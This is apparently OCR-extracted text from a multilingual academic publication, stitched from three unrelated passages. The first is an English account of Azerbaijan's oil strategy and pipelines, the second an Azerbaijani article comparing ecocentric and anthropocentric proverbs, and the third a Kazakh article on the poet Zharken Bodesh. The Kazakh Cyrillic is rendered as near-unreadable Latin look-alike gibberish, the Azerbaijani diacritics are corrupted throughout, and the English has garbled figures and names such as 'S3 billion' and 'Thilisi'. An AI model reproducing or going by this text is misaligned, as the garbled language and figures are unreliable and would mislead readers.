Azerbaijan, the "State Oil Fund of Azerbaijan" was established. On December 27, 2001, the
Supervisory Board of the Fund was formed. Heydar Aliyev and Ilham Aliyev, while laying the
foundation for the new oil strategy, determined that the Fund’s goal was to convert mineral raw
material reserves into long-term financial assets. As llham Aliyev stated, the Fund aimed to
channel the revenue from oil into other sectors of the economy for future generations. By early
2003, the State Oil Fund had accumulated $730 million, and a special program for the efficient use
of these funds was prepared. Simultaneously, foreign investment flows accelerated. In 1996, 33%
of foreign investment was directed to the non-oil sector, and by 2000, this share exceeded 50%.
Overall, between 1993 and 2002, Azerbaijan received $9 billion in foreign investment, with S3
billion directed to the non-oil sector. 90% of the foreign investments were focused on the
development of production sectors.

The revival and development of Azerbaijan’s economy was further strengthened by the
launch of the "New Silk Road," the Europe-Caucasus-Asia transport corridor, under the European
Union's "TRACECA" program. In May 1993, the "Brussels Declaration" was adopted concerning this
project, and in May 1996, an agreement regulating transit cargo transport and cooperation in the
railway sector was signed between Azerbaijan, Georgia, Turkmenistan, and Uzbekistan.
Additionally, in December 1996, an agreement between Azerbaijan, Georgia, and Ukraine was
signed to establish the Eurasian transport corridor, further enhancing the project. These measures
had a significant impact on the development of Azerbaijan's economy and transportation
infrastructure. [3, pp.306-310]

In accordance with the terms of the contract, new oil pipelines were constructed and
commissioned to meet the growing demand for oil extraction.

At the end of 1997, oil started to be exported to the Black Sea via the Baku-Novorossiysk
pipeline.

In 1999, the Baku-Supsa pipeline was built and put into operation, and as a result, the first
tanker carrying Azerbaijani oil headed to world markets.

In 2002, through the efforts of national leader Heydar Aliyev, the foundation of the Baku-
Thilisi-Ceyhan oil pipeline was laid under the “Contract of the Century” framework. This project
became a significant step towards Azerbaijan becoming an energy corridor. In May 2005, the
opening ceremony of the pipeline was held, and by 2006, oil from Azerbaijan began to be
transported from Turkey's Ceyhan port. All of these pipelines extend for distances equivalent to
one-tenth of the Earth's equator: Baku-Novorossiysk (1330 km), Baku-Supsa (833 km), and Baku-
Thilisi-Ceyhan (1768 km). Additionally, since 1999, more than 36 billion dollars have been invested
in the development of the “Azeri-Chirag-Gunashli” (ACG) oil field block. Over 500 million tons of
oil have been extracted from this block, and 40 billion cubic meters of gas have been produced
and handed over to the Azerbaijani government.

Since 1999, the extraction of profit oil from the “Azeri-Chirag-Gunashli” project has been
generating income. By September 1, 2015, Azerbaijan had sold 305 million tons of profit oil on
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world markets, which accounted for 59% of the total oil extracted from ACG. In the first 8 months
of 2015, 16 million tons of oil were extracted from these fields, with 12 million tons being
Azerbaijan's share of the profit oil. Additionally, in 1999, a decree was signed by Heydar Aliyev to
establish the State Oil Fund of Azerbaijan, with the purpose of managing hydrocarbon revenues
efficiently and using these resources for the economic development of future generations. In a
short time, this fund became one of the most transparent in the world, ensuring financial stability
for Azerbaijan's future generations. On September 18, 2002, in the Sangachal terminal of Baku,
the groundbreaking ceremony for the Baku-Tbilisi-Ceyhan (BTC) main export oil pipeline was held,
with the participation of National Leader Heydar Aliyev and the Presidents of Turkey and Georgia.
The construction of this significant project began. After four years of intensive work, on July 13,
2006, the grand opening ceremony of the Baku-Thilisi-Ceyhan main export oil pipeline, one of the
largest energy projects of the 21st century and named after the Ulu Onder (Great Leader), was
held in Turkey’s Ceyhan city.

Following the BTC project, another highly significant development took place— the

construction of the Baku-Thilisi-Erzurum gas pipeline (also known as the “South Caucasus
Pipeline”), and the start of gas extraction from the Shah Deniz gas condensate field. As a result of
this project, Azerbaijan became a country that not only exports oil but also natural gas.
In 2006, the Baku-Thilisi-Ceyhan oil pipeline was commissioned, and in early 2007, the Baku-Tbilisi-
Erzurum gas pipeline was launched. These events significantly strengthened Azerbaijan's role in
the global energy market and marked a new phase in the country's energy strategy.
In 2010, the official resolution to authorize the Chirag oil project was signed. Within this
framework, with a 6 billion dollar investment, the "West Chirag" project was launched. This project
aims to maintain stable production and increase the productivity of the Azeri-Chirag-Gunashli
fields. The platform built here has a production capacity of 25,000 tons of oil and 6.5 million cubic
meters of gas per day, thus facilitating more efficient use of the country's energy potential.
In September 2014, on the occasion of the 20th anniversary of the "Contract of the Century," the
foundation for Azerbaijan's next strategic energy initiative—the "Southern Gas Corridor" project—
was laid at the Sangachal terminal. This project not only aims to deliver Azerbaijan's gas directly
and securely to Europe but also increases the country's energy security and international
significance.
By the first nine months of 2016, more than 219 million barrels of oil and condensate had been
exported from the Sangachal terminal. Of this volume, 194 million barrels were transported via
the Baku-Thilisi-Ceyhan pipeline, while over 23 million barrels were exported through the Western
Export Pipeline. Additionally, over 2 million barrels of condensate were sent to the world market
via a special export pipeline. Gas exports were mainly carried out through the South Caucasus
Pipeline and a pipeline connecting the terminal's gas processing facilities to the “Azerigaz” gas
distribution system. During this period, the terminal exported an average of 29.1 million standard
cubic meters of Shah Deniz gas daily.

On September 14, 2017, a ceremony was held in Baku with the participation of President
[lham Aliyev and First Lady Mehriban Aliyeva for the signing of an updated agreement on joint
development and the sharing of oil production from the deep parts of the Azeri, Chirag, and
Gunashli fields in Azerbaijan's Caspian sector. This important document was signed between the
Azerbaijani Government, SOCAR, and several international energy companies including BP,
Chevron, Inpex, Statoil, ExxonMobil, TP, Itochu, and ONGC Videsh. BP was granted the right to
continue as the operator of the project. The agreement was ratified by the Azerbaijani National
Assembly on October 31, 2017.

This agreement provided both economic and strategic advancements for Azerbaijan.
Under the terms of the agreement, SOCAR’s share in the project was increased from the previous
11.65% to 25%. Additionally, the international partner companies agreed to pay a total of 3.6
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billion US dollars in bonuses to the State Qil Fund. According to the agreement, Azerbaijan’s share
of the profit oil would be 75%, which increased the country’s overall profit share to 89.1%.
The agreement also foresaw engineering and project works for the creation of an additional
production platform in the ACG contract area. Thus, this agreement, referred to as the "New
Century Contract," marks the beginning of a new phase in Azerbaijan's oil strategy, contributes to
strengthening the country’s energy security, attracts new investments, and significantly
contributes to economic growth and improved social welfare.

In conclusion, the "Contract of the Century" was not only a turning point in Azerbaijan’s
energy sector but also a strategic move that strengthened the country’s economic and political
independence. Thanks to this contract, Azerbaijan started to manage its oil and gas resources
efficiently, attracted foreign investments, and became an important player in the global energy
market. Modern oil infrastructure was built in the country, international energy projects were
implemented, and Azerbaijan’s role in global energy security was significantly enhanced.
In the following years, the Azerbaijani government took significant steps towards the
diversification of the economy, the development of the non-oil sector, and the improvement of
social welfare, utilizing the opportunities provided by the "Contract of the Century." The new
agreement signed in 2017 laid the foundation for the successful continuation of the country’s oil
strategy and more efficient management of energy revenues in the long term.
Thus, the "Contract of the Century" has become one of the cornerstones of not only the oil
industry but also Azerbaijan’s overall economic development and international influence. The
successes of this strategic project have transformed Azerbaijan into a major energy hub in the
region, creating a strong foundation for the country’s future economic development.
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insanlarin tabiat va diinya ils mibasibatini fargli perspektiviardsn izah edsn iki falsafi yanasma-
ekosentrizm va antroposentrizm anlayislaridir. Ekosentrizm, insan toxunusunun tabiatin Gmumi
gedisatina tasirinin minimal oldugu, insanlarin yalniz tabistin bir hissasi olarag mdvcudlugu va
tabiatin ahamiyyatinin insanlarin ehtiyaclarindan daha cox giymats malik oldugu bir baxis
midafiya edir.(1)

Antroposentrizm isa insanlarin tabiat Uzarindaki Ustlinliylinl va tabistin yalniz insan
ehtiyaclarina xidmat etmali oldugunu gabul edan bir falsafi yanasmadir. Bu yanasmada, tabiat va
digar canhlar insanin magsadlarina xidmat edan vasitalar oldugu gorulir. (2 sah. 1205-1207)

Har iki falsafi perspektiv, madaniyyatlar va dillar arasinda muxtalif formalarda tazahir edir.
Azarbaycan va ingilis dillarindaki atalar sozlari, bu perspektivlarin dil vasitasila neca ifads
olundugunu goéstaran mUhim nUmunalar tagdim edir. Ekosentrizm va antroposentrizm
anlayislarinin bir-birina zidd yanasmalari, bu dillardaki atalar sézlarinds fargli manalar ve mesajlar
yaradir.

Magalanin magsadi, Azarbaycan va ingilis dillarindaki atalar sdzlari vasitasila ekosentrizm va
antroposentrizm perspektivlarini miqgayiss etmak va bu fargli yanasmalarin madaniyystlarda
neca tazahir etdiyini analiz etmakdir. Belalikla, ham ekosentrizma, ham da antroposentrizmas aid
atalar sozlari Uzarinda aparilacaq tahlil, dilin va madaniyyatin tabisats va insanlara minasibatini
daha darindan anlamaga imkan veracakdir.

Ekosentrizm, tabiatin yalniz insanin ehtiyaclarina xidmat edan bir resurs olmasindan imtina edir,
oksina, tabiata daxili dayar verilmasini taklif edir. Ekosentrizm, insani tabistdan ayri va ya Ustln
gbérmak avazina, insanlarin yalniz tabistin bir hissasi oldugunu gabul edir. Antroposentrizm,
dinyaya va tabiata yanasmanin insan markazli bir formasidir. Bu falsafi yanasma, tabisti yalniz
insanlarin ehtiyaclarina xidmat edan bir resurs kimi gérir va insanlarin tabistdan Ustln olduguna
inanir (3, sah.122-125) Antroposentrizm, ekosentrizm va diger tobista yonalik falsofi
yanasmalardan fargli olaraq, tabiatin yalniz insanlar Gg¢ln giymatli oldugunu vurgulayir.

Deyimlar va atalar sozlari bir madaniyyatin diinyagdrisini yigcam, yaddagalan sakilds ahata
etdiyi, mudrikliyi, dayarlari va normalari nasillara o6tlrdiyld, cemiyyatlerin dinyani neca
konseptuallasdirdiglari va onunla minasibatleri haqgqginda fikir tsklif etdiyi, aid oldugu
madaniyyata bagli olub hamin camiyyatin asas dayarlarinin va inanclarinin shata dairasi kimi
xidmat etdiyi Gcln iki falsafi yanasmanin atalar sozleri nimunalari asasinda tshlil daha
maqsadauygun hesab edilir. Azarbaycan madsaniyyatinda atalar sdzlari ¢ox vaxt yasamaq Ugln
tabiata va sarvatlara yiyalanmayin lazim oldugu kand tasarriifati ve coban ceamiyystindan dogulur.
insan iradssi va giici, elacs da insanin ci¢aklanmasi Giclin tabisti idars etmak va ya onunla islamak
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ehtiyaci vurgulanir. Bunun aksina olarag, ingilis atalar sdzlari daha ¢ox sanayelasmis va kapitalist
diinyagoérisini aks etdirir, burada saxsi nailiyyat, 6ziina inam va fardi nazarat vurgulanir. indi
ndmunalar fonunda gozdan kegirak.

Antroposentrik ingilis nimunalari: "Man vs. Wild" (insan tabista garsi) - Bu ifads, tabistin bir
disman olaraqg gabul edildiyini va insanin tabiata garsi mlbarize apardigini gostarir. Bu, tabiatin
insanin maglub etmasi vo ona hokm etmasi garakan bir sey kimi gabul edilmasi anlayisini
dastaklayir. "Conquer the mountain” (Dagl fath et) - Dagin fath edilmasi, tabistin insanin
hakimiyyatina tabe olmasi garakan bir obyekt kimi tagdim edilir. Bu da, tabiatin bir sakilda azilmali
va va insanlar tarafindan idara olunmali oldugu anlayisini giiclandirir. "Harness the power of
nature" (Tabiatin gliciini idara et) - Tabiatin gliclinln insan tarafindan idars edilmasi garakan bir
sey oldugu fikrini &na cixarir. insanlar tabists hékm edarak ondan faydalanmali, onun gliciinii 6z
magsadlari Ggln yonlandirmalidirlar. "Kill two birds with one stone" (Bir dasla iki qus vurmaq) - Bu
ifada, tabist ve heyvanlar Gzarinds zorakiligin normal gabul edilmasina isars edir. insanlarin
maqsadlari Uc¢ln tabista garsl sart davranislarinin, hatta iki magsadli oldugunu tablig edir. "Tame
the wilderness" (Vahsi tabiati ahlilasdirmak) - Tabiat, insanin hakimiyyati altina alinmasi garakan
bir vahsi makan kimi tagdim olunur. Burada tabiat bir tahdid va ya nizami pozan bir sey kimi
gorular. "Money doesn’t grow on trees" (Pul agaclardan yetismir) - Bu ifads, tabistin resurslarini
insanlar Ggln ahamiyystli bir sarvat kimi tagdim edir, amma bu sarvat ila insanlarin zanginlasa
bilmamasi va onu istifada etmasinin ¢atin olmasi garakdiyi anlayisini da aks etdirirs. "There is more
than one way to skin off the cat" (pisiyin darisini Gzmayin coxlu yollari var)- Bu ifada pisiyin
dayarinin yalniz onun "soyulmasi" ils slagali oldugunu gostarir, yani heyvanlara yalniz insan
istifadasi prizmasindan baxilir. "All is fair in love and war." Bu atalar s6z{, insanin yonaltdiyi
motivasiyalari (esq ve mihariba) vurgulayir ve bu sahalards insan harakatlarini, daha boyik
vaxsilig va ya tabii balans nazars alinmadan, haqgli hesab edir. Yani, insanin saxsi maqgsadlari va
ehtiraslari, tabiata va ya axlagi prinsiplara garsl 6n planda tutulur.

Antroposentrik Azarbaycan niimunalari:

"ilanin agina da lanat, garasina da.” - Bu ifads tabiatin bir hissasi olan ilani, tabistin dziindan bir
tahdid va ya pislik olarag tagdim edir. Bu yanasma tabiata garsi garazli va ya qorxulu bir
minasibati nimayis etdirir. "Ati capa-capa éyradarlar.” - Bu ifada heyvanlarin, xisusan atlarin
insanin istayina uygun olaraq nazarat altina alinmasi garakdiyini ifads edir. insan va heyvan
arasindaki minasibat, har zaman insanin Gstin oldugu bir sakilde qurulur. Yaxsi at éziina gamgi
vurdurmaz." - Bu ifada heyvanlarin, xisusila atlarin, insanin iradasina tabe olmalari va onlara tazyiq
gdstarmadan 6zUnl idara etmali oldugu distncasini aks etdirir.

Ekosentrik ingilis nimunalari "Let nature take its course” (Tabistin 6z yolunu tutmasina icazs ver)
- Bu ifada insanin tabiata midaxilasiz gabul etmasi va tabiatin 6z ritminda inkisaf etmasina sarait
yaratmasi garakdiyini vurgulayir. Bu, ekosentrik bir yanasmadir, ¢clinki burada tabiat 6z gaydalarina
gora idara olunmalidir. "Live in harmony with nature" (Tabistle harmoniya icinda yasa) - Tabiat ila
uygunlug ve birlikda yasamagq fikri, insanin tabiat ile garsiligh alagasini tabiatin talablarina uygun
sokilde qurmag! tablig edir. Bu, tabiata garsi masuliyyatli va hdérmatli yanasmani aks etdirir.
"Everything is connected" (Har sey bir-birina baglidir) - Bu ifada tabist aloaminin garsiligli alagalarini
va har bir canliin, muhitin bir hissasi olaraq garsiligli asili oldugunu géstarir. Bu yanasma ekosentrik
baxisa aiddir, ¢linki burada tabiat butdv bir sistem kimi gabul edilir."A tree is known by its fruit"
(Bir agac meyvasindan taninar) - Bu ifads, tabiat va tabiatin doévrlarinin, insanlarin taqdir etdiyi
dayarlardan daha cox, 6z tabii ritmina gora giymatlandiriimasi garakdiyini bildirir."The earth does
not belong to us; we belong to the earth" (Yer bize maxsus deyil; biz yera maxsusuq) - Bu ifads
insanin tabiata tabe olmasi va tabiatin bir hissasi olaraq yasamasi garakdiyini bildirir. insanlar
tabiatin bir parcasi olarag harakat etmalidirlar .

Ekosentrik Azarbaycan nimunalari: "Su galan arxa bir da galar.” (Su galan arxa bir da galar) - Bu
ifada tabistin takrarlanan dévrlarini va davamliligini vurgulayir. Burada tabisat 6z dovrlarini
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izlayarak, har seyin takrarlana bilacayini gdstarir. insanlar tabists midaxila etmadan onun
ritminda harakat etmalidirlar. "Na akarsan onu da bigarsan." Bu ifads, tabiatin insanlara verdiyi
garsihgl alaganin vacibliyini godstsrir. insan, tabists olan minasibatinds dizginlik va gaygl
gbdstarmalidir ki, naticada fayda alda etsin. "Bir gl ila yaz aciimaz" Tabiat bir bitov olaraq islayir
va yalniz bir elementin midaxilasi ils saglamlig ve tarazliq barpa edils bilmaz. insanlarin tabists
hormatla yanasmalari va har bir hissanin giymatini bilmalari vacibdir. "Adac bar veranda basini
asagi salar." (Agac bar veranda basini asagi salar) - Bu ifada tabiatin midrikliyini va tavazdkarligini
vurgulayir. Tabiat, atrafindaki dliinyaya garsi aciq ve sada bir sakilda harakat etmalidir.
Demali,ekosentrizm, insanlarin tabiste mudaxile etmadan, onun bir hissasi olarag yasamasi
garakdiyini vurgulayan bir perspektivdir. Tebiat bu yanasmada 6z dayarine malikdir va insanin
ehtiyaclarindan Ustln tutulur. Antroposentrizm iss, tabisti yalniz insanin ehtiyaclarina xidmat
edan bir resurs kimi gérir va insanlarin tabiat (zarinda hakimiyystini gabul edir. Ekosentrizm va
antroposentrizm yanasmalarini Azarbaycan va ingilis dillarindaki atalar sézlsri nimunalari asasl
tahlil va bu falsafi yanasmalarin dil va madaniyyat vasitasile neca ifads olundugunu mugayisa
edilarak madaniyystlarda tabiata va insanlara minasibatin mixtalif aspektlari isiglandirild.
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KA3IPTT KA3AK NMO33VACBIHOAT bl AHCAY
CAPbIHbI

l'yAMaHaT 9yenxaH

«6D01701-Ka3ak Tini MeH sgedbueTi» MamaHabIFbl JOKTOPAHTHI

FbiAbIMK KeTeKLWI:

Jla33aT 9ainbekosa

bunnonorma FuiNbIMAAPbIHbIH, KAHAMAATLI, Npodeccop M.a.,Kasak yATTbIK Kbi3aap
neaarormkanblk yHMBepcuTeTi, AamaTbl, KasakcTaH

Abstract: The article examines the unique style of poems by Kazakh poets of the twentieth
century, where tradition and innovation intersect. Particular attention is paid to the poems of a
prominent representative of Kazakh poetry, Zharken Bodesh, namely the theme of nostalgia for
the homeland. Using the example of the poet's poems, which have become widespread among
the people and among Kazakhs abroad, the author focuses on the figurative aspects of the poet's
poetry, which, in comparison with classical poetry, is distinguished by the originality of techniques,
richness of images and deep meaning, encouraging the younger generation to love their
homeland, country, land.

Keywords: Zharken Bodesh, modern poetry, nostalgia for the homeland, symbol of the era.

TyliH: 3epTTeywi MaKanaga KasaK M033MACbIHbIH, KOPHEKTI eKini MopkeH beaelwTiH
WbIFapMaLLblIAbIFbIHAAFbI «@HCAY CapblHbIHAAFLI» XKblpapbiHAa TOKTaNa OTbIPbIN 3epaenenai. Anbic
aMMaKTapZa Kas3ak apacblHOa@ KeH TapafaH akblHHbIH e©/eHAepiH Mbicanfa ana oTblpbin,
KNaCCMKa/bIK NMO33MAMEH CanbICTbipFaHaa, ©3iHAiK aaicTepimeH, ban belHeninirimeH xaHe Tepen,
MafblHaNaPbIMEH epeKLleNeHeTiH aKblH MO33MACbIHbIH, BelHeni Kbip/apblHa TOKTana OTblpbIM,
XanblK ©MipiHiH, alHacbl 60nbin  TabblnaTblH  LWbIFAPManapbiHbiH - KOPKEMAIK  Kblpaapbl
KapacTblpbliaabl.

Tipek ceznep: *opkeH beaeluynbl, N033MA, aHcay CapbiHbl, A3YiP CUMBObLI, TyFaH Kep.

MopKkeH bepell — KasaK Mo033MACbIHbIH,  KaTanaHbac TynfanapbiHbiH, 6ipi. OHbIH
WbIFAaPMaLLbINbIFbl — TaFabIP/bl OMIP *KOJbIHbIH, TapUXM anacanblpPaHHbIH, TyFaH »Kepre Aerex
LLEKCI3 CafbIHbILLTbIH, KOPKEM anHacbkl. AKbIHHbIH apbip e/feHi Tek Noa3ns faHa emMec, COHbIMEH
KaTap Kelneni XanblKTbiH, PyXaHW KafblHAa CaKTa/faH KacipeT NeH YMITTIH, aHCay MEeH KypecCTiH,
TyTac Kepkem naHopamacs! icneTTi. OHbIH ©/1eHAepiHAET aHcay capbiHAAPbI TyFaH Xepre, Kalblp
TayFfa, Ka3aKTblH KeH AanacbiHa AereH Lekciz maxabbattaH 6actay anagpl. AKbIH, *Kbipay HKapkeH
Beaewynbl 1944 binbl 15 mambipaa KbiTat Xxanslk, PecnybamKkacbiHbiH, TapbaraTal aimarbl Tosbl
ayaaHbl Kanbip TayblHAQ AYHUETE KENTEH.

KOpKeH M033MACLIHbIH, 3MMKabIK KbiPbl OHbIH, KEH TbIHbICTbl Oy KYMEeCi MeH Tapuxu
TaKplpbiNTapapl TepeH, 6aramaaybiHaH Aen Tynmemis. On Tek »keke 6acTbiH, emec, BYTiH YATTbIH,
aHCaybl MEH MYHbIH blpaafaH akblH. OHbIH 6neHAepiHAe KEeHICTIKTIH LeKCi3air, yaKblTTbiH,
TepeHairi, TapuXTbiH, Kanfbl/abl KeLli epeKlle opbliH anfaH. On kenae AcaH KalfbliHblH €1 MypaTbiH
i3aereH capblHAapbIH, Kelae MaxambeTTiH ep pyxbiH, Kehae MarKaHHbIH, XypeK Cbl3aaTKaH
CafblHbIWbIH aAfacTblpFaHAan acep Kanablpadpbl. AKbIHHbIH MO33UACbIHAA KOLWNeHAi Ka3aKTbiH,
HacTaH KellKeH KacipeTTi Tafablpbl, HOCKbIHAbIK MeH »aT »Kepaeri MyH, aipblKlla OpblH anfaH.
OHblIH, 3NMKaNbIK KyaTbl — TAPUXM Kad NeH XanblKTbIK MYHHbIH YIAAeCiMiHAe *KaTblp. apKeH *Kbipbl
— YaKbIT MeH KeHICTIKTI epKiH WwapnafaH yabl Xbip. «MeH akblH eMecniH, MeHiH TafabIPbiM aKbIH»
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nenaj akpiH. M033ns anemiHae Kanam TepbereH ap akblHFa ©3iHIH, KYPiN 6TKEH *O/bl, Tap KON
TalFaK Kewyi, MyHbl MEH Cblpbl TyfaH TOMbIpafbl aCep eTepi akmMxaT. AKbIH YLiH ©3i TybiN 6CKeH
ONKeHIH TaburaTbl, 4anacbl MeH Kanachl, TbiHbIC anap ayacbiHblH ©3i aKbIHHbIH, KOKIpEK Ke3iHeH
KafblC Kaamarnapl. AKbIHHbBIH, A0Cbl, GUAONOTMA FblNbIMAAPbIHbIH, KAaHANAATbI, TAPUXLLbI DNiMFa3bl
HaynetxaHynbl «KapKeH noasmacbiHaH AcaH Kalfbl, KasTyraH, LWankuis, Aktambepai, bykap
WblfapmanapblHAasbl acbll OWAblH, cynbacbiH OanKalimbls. On — BeniHin-KapblaFaH Kasak,
XaNKbIHbIH, alMblKNac MyHbI, LWEPMeHAE LWepi, OKCIKTi Kycacbl, KaHAbl KO3 Kacbl, KacueTTi Anall
OpaacbiHa AereH TeHi3Aen TepeH cafbiHbIW NeH anay maxabbaTtbl caH-cana, caH afbic 60bIN
KyMblna Kene MMopKeH akblH Ty/facbiH Aapanan, noa3uacbiH apyaKkTaHAbIpbIn TypaTbiH CUAKTHI.
opKeH noa3umackl — apbicbl AcaH Kalfbl, KastyfaH, Llankuis, Aktambepgmi, bykap bipayaaH
H6acTay anbin, «3ap 3amaH AereH C€e3 WbIKTbl, 3aMaHHbIH Kapal TypiHe», — aen 3apiafaH
LopTanban, MypaT, lynat, basap »bipayiap apyarblH WaKbIPbIM, Keleri KYyHHeH TyfaH MafKaH
PYXbIMEH iLITEN Ae, TbICTan Aa YHAECIN XKaTKaH, »KaafacbIn, *apbicbin 6apa *KaTKaH epicTi, KeHeyi,
lWeweH e Kecem, KasaKbl-yATTbIK Mo33mA. backambidfa bOipae etce, bipae »eTnewn »KaTkaH
OSCTYPLWIiN, XaNblKTblK «Kapa eneH» MMopKeH akblHAa XeTepnik» aeredHi KaprkeH begewTiH,
aKbIHOBIK KaHa emec, XanKbiMbi3ablH, dunocobma ham Tapuxu OOAMbICBIH CUMNATTANTbIH
CYpPeTKepiK KblpblH [a TaHbITCa Kepek.

Baplua agamsat HanacblHbIH KYperiH aAMucakTaH bepi TepbeTin Kene KaTKaH CafblHbILL
aTTbl yNbl ce3im Hap. Con cesim KaHaTbl KaTalMMaraH *ac akblHAbl «ATa KypTKa» KeTesnen akence,
enre KenreciH TyfaH Xepi MeH aTa aHacblHa, TybiC OayblpblHa AEreH CafbiHbIWbIH YAeTe Tycei.

On e3iHiH, TyfaH *KepiHe AereH cafblHblWbIH: «TyFaH XKepim Malblp Tay, EKi epKeli aliblp
Tay. AlblpTayaaH Ky Tarablp, Tipiaeni meHi albipasl-ay»[1] gen TyfaH *KepiHeH Tipigen anpbiaraH,
o60eH cafblHbIL MeHAETKeH LWaKTa ©3iHiH, Kanfbl3dplfbiMeH VyHAeceai. Tafbl bipae on:
«alblpaaH 6acka aHam Kok, *KalblpaeH Hacka naHam »KOK. [lepTiHHEH KeTTim ayblp 6on,
KalblpaeH H6acka »aybiM XKOK...»[2] Aen Kalblpadbl. AKbIHHbIH, Kbip/fapbliHAa TyfaH Xep, OHbIH,
Taybl MeH ©3€eHi, KOKMalca Aanackl Tek TabuFaT KepiHicTepi FaHa eMec, aKblHHbIH OYKiN 6OAMBbICHIH
alKblHAAFaH pyxaHu TyFblp 601biN Tabblnaapl. *anblp Taybl — OHbIH WblFapMallbl/iblFbiHAA epeKLle
CUMBONAbIK MaHTe ne. O TyFaH »epiH TeK reorpaduablk KEHICTIK peTiHae emec, pyxaHn OTaHbl
peTiHae cypeTTenai. Ocbl peTTe aKblHbIH KOATaHOACbIHA alHaNbIN KeTKeH «TyfaH »Kep» e/eHiH
6enin »apmai ToNbIK OKyFa Typa Kenedi.

«TyfaH XepaiH Kap, My3bl,

AA3bIHMEH XYbIHAbBIP.

TyfaH xepaiH 6an Kbi3bl,

BypbIMbIHMEH BYbIHAbIP.

TyfaH xepaiH bynarbl,

TONKbIHBIHMEH AT MEHI.

TyfaH *epaiH, XblnaHbl,

LUbipblnaaTbin WwakK MeHi.

TyfaH epaiH, WeHreni,

TbipHa asmain beTimai.

TyfaH *epaiH epmeHi,

Ay3biMa Kyl eTimaj.

TyfaH *epdaiH, 40HbI3bI,

KaH »oca KbIM Xapbln KeT.

TyFaH epaiH, KOHbI3bI,

Jomanatbin anbin KeT.

TyFaH epdaiH KacKblpbl,

KeMmip, aKbIH cyieriH.

TyFfaH epaiH Tac, Kymbl,
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CeHi ocblnan cymemin!»[3]

KaHaal faxan, acKaK, LUeKCi3 cafblHbll Kbipbl. Kasak oaaebueTiHaeri TyfaH Kepre
apHafaH ifKi *KblpnapAblH apacbiHAa KAaCKambin TypaTbiH, WOKTbIFbl OUMiK TYyMa enieH, Kanbip Tay —
opKeH yuwiH bananblk WafblHbIH eneci faHa emec, byKin bip AdyipaiH CMMBOJIbI. AKbIH YLLIIH TyfaH
YEep TEeK CafblHbIW HbICaHbl faHa eMec, CoOHAan-aK YATTbIK PyXTbiH Tiperi. OHbIH eneHAepiHAe
anblipfa AereH carblHbIlW TEK NeM3arKablK CMNaTTa faHa emec, Tapuxm-drunocodusaiblik acTapmMmeH
KemkepinreH. OHbIH, ©N1eHAepiHAEri TyFaH Xepre AereH cafblHbll — WbIHAMbI, KYPEKKE KeTeTiH
cafblHbiw. On Halblpabl TEK Kepkem 0b6pa3 peTiHae faHa eMec, MaHIiNIK aHCcap MEeKeH peTiHae
benHenenai. KopkeH beaellTiH Tafablpbl — Ka3akK, Xa/KblHbIH XX facbipAafbl ayblp TafablPbiHbIH,
KepiHici.

On TyFaH }KepiHeH anbiCTan, *KaT XKypTTa emMip cypyre maxkbyp 6ofaH, TaFablpAblH TIAKEriH
Ken KepreH aKkbiH. bipak OHbIH *KblpaapbiHaa MyHFa 6aTKaH Lapacbi3ablK eMEeC, KYPECKepiK pyx,
oxeT miHe3 6ap. OHbIH N033MACbIHAA BOCKbIHABIK TaKblPbIObI, ¥KaT Kepae KypreH agamHbliH, ilKi
YaH apnanbiCbl, «KA3aKTblH, PyXblH CaKTan Kaay» MAeAcbl Herisri moTusTepdiH, 6ipi 6osbin
Tabbinaabl. On e3iHiH, eneHaepiHae XanaH MyHJbl EMecC, PyXbl CbiHbafaH epKiH aHHbIH, AAYCbIH
eTKizei. AKbIH YLIiH TyFaH KepaeH anbicta 601y — GU3NKanbIK TypFblAafbl KALWbIKTbIK KaHa, an
PYXaHW Typfblaa on apaaibim OTaHbIHbIH, KacbiHAa 60nabl. OHbIH, Tafablpbl — KyFbIH-CYPTiHHIH,
a3anTbl 6Mip XOAblHbIH beiHeci. bipak MapKeH pyxbiHbiH, BEPiKTiri oHbl cbiHAbIPpa aamaabl. On
MYH/Ibl LIAPaCbI3AbIKTbIH, CMMBO/bIHA alHANAbIPMal, Kypec »KoNblHbIH bip H6enueri eTTi. AKbIH
YWIiH TyFaH sKepai aHcay — KypecTiH, 6acbl. AKbIHHbIH, ©Mip KellipMenepiH LWosa Kenir, OHbIH,
«BpeaeH ipiMmLWiriH an KawaTblH, CafblHAbIM KE3KYMPbIFbIH, KAapFacblH Aa», Hemece «AHaMHbIH,
caycafblHblH Tabbl TycKeH, AfaTai, KaHKanTaHAa KypTblH 6ap ma?» - Aen KblpaafaH CafbiHbILW
XaTblHAH TyFaH Yep MeH aTaKypT apacbiHAafbl TepeH 6alnaHbICTbl, Y3blH 4@ KbICKA ¥KiM CbiHAbI
Kypmeyi wetlinmereH, 6ipak apacblHAafbl KbINAaM Kanfayapl ©1€H apKblabl OpreHiH Kepe afambl3.

Kanepae yctap Tafbl Bip *KalT aKblHHbIH, TiNi, €63 KONAaHbIChI. "KOpPKEHHIH Co3/jiK Kopbl 6Te
6an, on PakbiMskaH OTapbait aTKaHOaW «KasaKTblH, Kbi3blJ CO3iH KoWlia eprisreH agam». On
Ka3aKTblH KBHE COe3AepiH *KaHFbIPTbIM, OHbl KA3ipri 3aMaHHbIH MO3TUKA/bIK KEHICTiriHe eHrisreH
webep akblH. OHbIH, TiAi Wypanabl, belHeni, api aca KyaTTbl. ©1eHaepiHAe TaburaT KepiHicTepi
MeH ¢unocodmanblk oMnap acrtacbin, YATTbIK 00Aybl KaHblK obpa3gap Ty3edi. OHbIH,
WblfapmanapblHaa ce3aep *anaH KoAJaHblAMaNabl, 9P CO3/iH acTapblHAa TEPEH MaH, O MeH
cesim KaTap epinin xatagpbl. opKeH — TiAA4iH KyaTblH, CO3iH MarMACbiH TEPeH, TYCIHreH akblH. On
ce3re epeklle mMaH bepin, ap TapMaKKka casmMak apTbif, ©/IeHiH epeKlle 3KCNPeccuBTi eTin
KeTKizeai. AKbIHHbIH, Ti/li — NO3TUKANbIK KEHICTIKTIH TepeH KaTnapaapbiH alaTbiH KiAT.

AKbIHHbIH, TaFablpbl MEH BMIP Kellyaepi Typasbl TaHbIC 60AMACaH, OHbIH, ThIJICbIM d1EMIHIH,
KiNTiH Taby Aa MyMKiIH emec. AKbIHHbIH, Tafablpbl A3, N033MACHI A3 — 63i. AKbIH KallaH Aa bacbiHaH
He ©TTi, COHbl Kafa3fa Tycipedi. ©3iH KblpnayMeH KaTap XajKblHblH TafablpblH Kblpaanabl.
AKbIHHbIH, epTepekTe «Kamubl» nopTanbiHa bepreH 6ip cyxbaTbiHAa «bi3iH Ka3aKTblH Tafablpbl
ayblp XanblK KOM, TYp/i cebenTepmeH LIET Kepre KeLWin KeTTi, MyHblH 63i Ka3aK aaebueTiHiH OyriHri
